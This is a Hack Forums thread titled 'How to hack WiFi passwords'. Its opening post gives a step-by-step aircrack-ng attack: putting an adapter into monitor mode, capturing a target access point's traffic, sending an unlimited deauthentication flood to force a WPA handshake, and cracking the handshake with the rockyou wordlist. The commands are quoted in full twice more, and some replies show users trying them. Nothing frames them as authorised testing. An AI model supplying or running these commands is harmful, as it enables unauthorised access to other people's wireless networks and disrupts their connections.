

Forum:[Hack Forums](#)

Thread: [HOW TO HACK WIFI PASSWORDS](#)

GITYS - September 29, 2023, 11:11 am

! See interfaces

ip addr

iwconfig

!kill processes

sudo airmon-ng check kill

!Start monitor mode

sudo airmon-ng start wlan0

!Verify that monitor mode is used

sudo airmon-ng

!You could also use iwconfig to check that interface is in monitor mode:

iwconfig

! Get the AP's MAC address and channel

sudo airodump-ng wlan0mon

! AP-MAC & channel - you need to select your own here:

ESSID: 90:9A:4A:B8:F3:FB

Channel used by AP for SSID: 2

!1st Window:

!Make sure you replace the channel number and bssid with your own

!Replace hack1 with your file name like capture1 or something

sudo airodump-ng -w hack1 -c 2 --bssid 90:9A:4A:B8:F3:FB wlan0mon

!2nd Window - deauth attack

!Make sure you replace the bssid with your own

sudo aireplay-ng --deauth 0 -a 90:9A:4A:B8:F3:FB wlan0mon

!Use Wireshark to open hack file

wireshark hack1-01.cap

!Filter Wireshark messages for EAPOL

eapol

!Stop monitor mode

airmon-ng stop wlan0mon

!Crack file with Rock you or another wordlist

!Make sure you have rockyou in text format (unzip file on Kali)

!Replace hack1-01.cap with your file name

aircrack-ng hack1-01.cap -w /usr/share/wordlists/rockyou.txt

demon123 - January 15, 2024, 7:14 pm

Thanks bro for that information

aspect-seeker - February 1, 2024, 4:31 am

wait do people still not know that ?

DramaKing - February 1, 2024, 5:22 am

(Feb 1, 2024 05:31 AM)aspect-seeker Wrote: [\[CITE\]](#) wait do people still not know that ?
My mother certainly doesn't.

Euaggelistes - February 1, 2024, 5:46 am

(Feb 1, 2024 06:22 AM)DramaKing Wrote: [\[CITE\]](#) My mother certainly doesn't.
Are you 100% sure about that?

DoggoEggZ - February 20, 2024, 5:57 pm

(Sep 29, 2023 11:11 AM)GITYS Wrote: [\[CITE\]](#) ! See interfaces
ip addr
iwconfig

!kill processes
sudo airmon-ng check kill

!Start monitor mode
sudo airmon-ng start wlan0

!Verify that monitor mode is used
sudo airmon-ng

!You could also use iwconfig to check that interface is in monitor mode:
iwconfig

! Get the AP's MAC address and channel
sudo airodump-ng wlan0mon

! AP-MAC & channel - you need to select your own here:
ESSID: 90:9A:4A:B8:F3:FB
Channel used by AP for SSID: 2

!1st Window:
!Make sure you replace the channel number and bssid with your own
!Replace hack1 with your file name like capture1 or something
sudo airodump-ng -w hack1 -c 2 --bssid 90:9A:4A:B8:F3:FB wlan0mon

!2nd Window - deauth attack
!Make sure you replace the bssid with your own
sudo aireplay-ng --deauth 0 -a 90:9A:4A:B8:F3:FB wlan0mon

!Use Wireshark to open hack file
wireshark hack1-01.cap
!Filter Wireshark messages for EAPOL
eapol

!Stop monitor mode

airmon-ng stop wlan0mon

!Crack file with Rock you or another wordlist

!Make sure you have rockyou in text format (unzip file on Kali)

!Replace hack1-01.cap with your file name

aircrack-ng hack1-01.cap -w /usr/share/wordlists/rockyou.txt

This is probably simple but what is monitor mode, is it when there looking\watching for a network?

Cublax - April 10, 2024, 5:59 am

(Feb 20, 2024 06:57 PM)DoggoEggZ Wrote: [\[CITE\]](#) This is probably simple but what is monitor mode, is it when there looking\watching for a network?

You need a wifi adaptor that supports the monitor mode.

By default it will be in managed mode so you will need to turn it on such as:

-ifconfig wlan0 down

-iwconfig wlan0 mode monitor

-ifconfig wlan0 up

DramaKing - April 10, 2024, 8:31 am

(Feb 20, 2024 06:57 PM)DoggoEggZ Wrote: [\[CITE\]](#) This is probably simple but what is monitor mode, is it when there looking\watching for a network?

Normally an adapter is in managed mode. The actual frames are processed by the NIC, and the higher layers are passed up to the OS. Monitor mode allows capturing and injecting the WLAN frames, including management frames, and potentially radiotap headers. You cannot view or capture handshakes, probes, send deauth packets, capture traffic for other stations, and the like without switching to monitor mode.

awftowuftnaw - April 11, 2024, 7:30 am

(Sep 29, 2023 11:11 AM)GITYS Wrote: [\[CITE\]](#) ! See interfaces

ip addr

iwconfig

!kill processes

sudo airmon-ng check kill

!Start monitor mode

sudo airmon-ng start wlan0

!Verify that monitor mode is used

sudo airmon-ng

!You could also use iwconfig to check that interface is in monitor mode:

iwconfig

! Get the AP's MAC address and channel

sudo airodump-ng wlan0mon

! AP-MAC & channel - you need to select your own here:

ESSID: 90:9A:4A:B8:F3:FB

Channel used by AP for SSID: 2

!1st Window:

!Make sure you replace the channel number and bssid with your own

!Replace hack1 with your file name like capture1 or something
sudo airodump-ng -w hack1 -c 2 --bssid 90:9A:4A:B8:F3:FB wlan0mon

!2nd Window - deauth attack
!Make sure you replace the bssid with your own
sudo aireplay-ng --deauth 0 -a 90:9A:4A:B8:F3:FB wlan0mon

!Use Wireshark to open hack file
wireshark hack1-01.cap
!Filter Wireshark messages for EAPOL
eapol

!Stop monitor mode
airmon-ng stop wlan0mon

!Crack file with Rock you or another wordlist
!Make sure you have rockyou in text format (unzip file on Kali)
!Replace hack1-01.cap with your file name
aircrack-ng hack1-01.cap -w /usr/share/wordlists/rockyou.txt
Why use wireshark/open file?

account_ - April 11, 2024, 7:42 am

(Apr 11, 2024 07:30 AM)awftowuftnaw Wrote: [\[CITE\]](#) Why use wireshark/open file?
The op is closed on the forum, your not going to get a reply, just letting you know.

DramaKing - April 11, 2024, 7:52 am

(Apr 11, 2024 07:30 AM)awftowuftnaw Wrote: [\[CITE\]](#) Why use wireshark/open file?
OP posted a thread two minutes earlier asking how to use Fern. I doubt that he's even the author.
He's one of those one-day users.

Aarshdeep - May 22, 2024, 10:01 am

thanks for the information

Ozaba10 - June 5, 2024, 7:12 pm

(Feb 1, 2024 06:22 AM)DramaKing Wrote: [\[CITE\]](#) My mother certainly doesn't.
??
but still whats the best way to get a good wordlist depending on the country

NagLeon2 - June 18, 2024, 9:27 am

im trying it, seems too easy to be real

DramaKing - June 18, 2024, 11:42 am

(Jun 18, 2024 09:27 AM)NagLeon2 Wrote: [\[CITE\]](#) im trying it, seems too easy to be real
It is. OP makes it sound like using a wordlist is all that you need to crack a password. When you've been running a password cracker for six months, you'll feel differently.

le CHEN - June 25, 2024, 4:15 am

(Feb 1, 2024 05:31 AM)aspect-seeker Wrote: [\[CITE\]](#) wait do people still not know that ?
MDR pas tout le monde ? [warn]

TerribleJuniper - June 27, 2024, 6:05 am

thank you mr gitys tidys

